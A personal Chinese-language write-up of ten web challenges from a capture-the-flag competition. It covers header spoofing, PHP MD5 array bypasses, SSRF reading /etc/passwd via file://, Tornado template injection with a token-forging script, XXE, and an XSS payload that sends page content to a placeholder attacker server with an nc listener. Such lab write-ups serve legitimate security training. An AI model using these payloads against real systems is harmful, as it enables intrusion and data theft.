第一届“蚁景杯”CTF-web 个人题目解析记录
竞赛平台链接:蚁景网安竞赛平台
比赛时间:4月11日22:00-4月12日16:00比赛题目数量为10道题,每题分值为100分
计分规则:1、比赛答题积分采用动态积分+奖励分模式(即每道题目答对后即获取动态积分,如果是答对该道题目的前3名,分别奖励该动态积分的6%、4%、2%;一道题目答对的人数越多,该题的得分越低)。2、最终比赛总分由高至低排列,分数相同的情况下,以提交时间为准,用时短者排名高于用时较长者。3、比赛结束后 24小时内,获奖者必须针对自己的每个 Flag提交对应Writeup 报告,经裁判组审核,未提交 Writeup 者成绩会被判定无效得分。
wtfbutton
访问靶机,提示点击获取flag,但是按钮是灰色的,考虑修改前端代码
打开开发者工具,点击开发者工具左上角按钮,选择网页flag处,就可以迅速定位到flag编写的前端代码
删除红框里的字段,点击flag按钮,出现flag
这里老师给了另一种解法,同样记录一下:
虽然前端对功能有了限制,但点击按钮的时候,请求数据还是会发送到服务器的,这里我们能看到请求的名字
这里使用插件HackBar发送一下请求数据
ezsearch
打开开发者工具即可见Flag
cookie
打开页面什么也没有
既然题目是cookie,我们就查看一下cookie,点击网络,刷新一下,选择网页文件,点击cookie,发现有类似flag文件
尝试访问文件发现flag值
robots
#前置知识:robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。
访问目标什么也没有
访问robots.txt,有类似flag文件
尝试访问/flag.htmlw
只能尝试访问/robot-nurses,有页面也并没有像/flag.htmlw报错,仔细查看可以发现右侧有滚轮
拉向页面底部或打开开发者工具发现flag
canyouaccess
访问目标提示请从本地访问
打开BP抓一下包
既然提示请从本地方法,我们就在请求中加字段,常见的有X-Forwarded-For,从返回的结果看并没有效果
再尝试Client-IP字段,页面发生了变化
继续添加referer字段为google.com
修改UA为ABC Browser,出现Flag
codeaudit
PHP源码分析的题目,个人直接投机让AI分析并得到playload,但还是记录一下吧,但是AI作为这个时代的产物以及日益的普及,也可以作为一个工具来使用
这题源码大致的重点在于
else if (md5($_GET['username']) === md5($_GET['password']))
这里有三个等于号,表示全等,也就是说需要类型和值相等。
一种思路是:利用 MD5 碰撞
PHP 在 == 或 === 比较时,如果字符串以 0e 开头,可能会被当作科学计数法的 0,导致 0exxx == 0eyyy
md5(“240610708”) = 0e462097431906509019562988736854
md5(“QNKCDZO”) = 0e830400451993494058024219903391
另一种方法为:数组绕过
如果传参都为数组,那么md5() 会返回 NULL,结果也就True。
/?username[]=a&password[]=b
curl
访问目标,给出提示,尝试访问flag,但是不行
访问主站,打开开发者工具可以看到可以传参urls,并且有访问网站的功能,也就是可能有SSRF漏洞
尝试利用伪协议file读取一下/etc/passwd
用file协议尝试读取一下flag文件
用http协议访问呢?结果也是一样的。之前尝试过了可以打开/etc/passwd,也就是说只有flag有限制
我们可以尝试访问一下网页的源码,可以成功访问网页源码,这里可以看到大概是127.0过滤
用0.0.0.0也可以代表本地地址
easy_tornado
访问目标,得知的信息有:1,flag的文件名字及位置。2,很明显的访问文件需要文件名及其相对应hash。3,hash的加密规则
尝试访问/fllllllllllllag,可以发现页面跳转了并且修改msg的传参可以打印到页面上
那么思路就很清晰了,获取cookie_secret值是必须的。
网上搜索关键字,(这个题真的。。随便搜索关键字就出现原题的文章),但不管是原题的解法还是对于tornado框架漏洞的披露,都指向同一个结果:
{{handler.settings}}
用python 编写exp
import hashlib def calculate_token(cookie_secret, filename): filename_md5 = hashlib.md5(filename.encode('utf-8')).hexdigest() combined = cookie_secret + filename_md5 token = hashlib.md5(combined.encode('utf-8')).hexdigest() return token if __name__ == "__main__": cookie_secret = "b058e3c7-7f8f-4cf6-a119-3767f7532619" filename = "/fllllllllllllag" token = calculate_token(cookie_secret, filename) print(f"Token for '{filename}': {token}")
获取flag
Fake XML cookbook
访问目标,既然题目写了XML,那我们就用XXE payload试一下
从反馈中可以看到payload应该是执行了的,但是语法不对
直接在BP中加入payload,需要注意的是xml部分必须是username,不然看不到回显
XSS
这题虽然个人没有做出来,但还是记录一下
目标页面:
guest处有XSS漏洞
管理员处有SSRF漏洞,访问有限制
打开开发者工具,找到对应的p标签,id为flag。根据提示,只能“管理员”(本地)访问,才能看到flag
解题思路:我们要利用XSS漏洞配合SSRF将flag内容弹给我们的服务器(因为很明显flag是不会出现在本页面了)
在vps上监听:
nc -lvnp 6666
构造XSS payload(闭合p标签,打开一个窗口访问我们的服务器并获取flag元素内容):
window.open("http://IP:Port/?q="+document.getElementById("flag").innerText)
1,在guest里输入XSS payload
会出现一个弹窗
vps也会获取信息,这里不用管,主要确认此操作是可行的
2,回到原页,把网址改成127.0.0.1后复制,然后让管理员访问
3,回到vps获取flag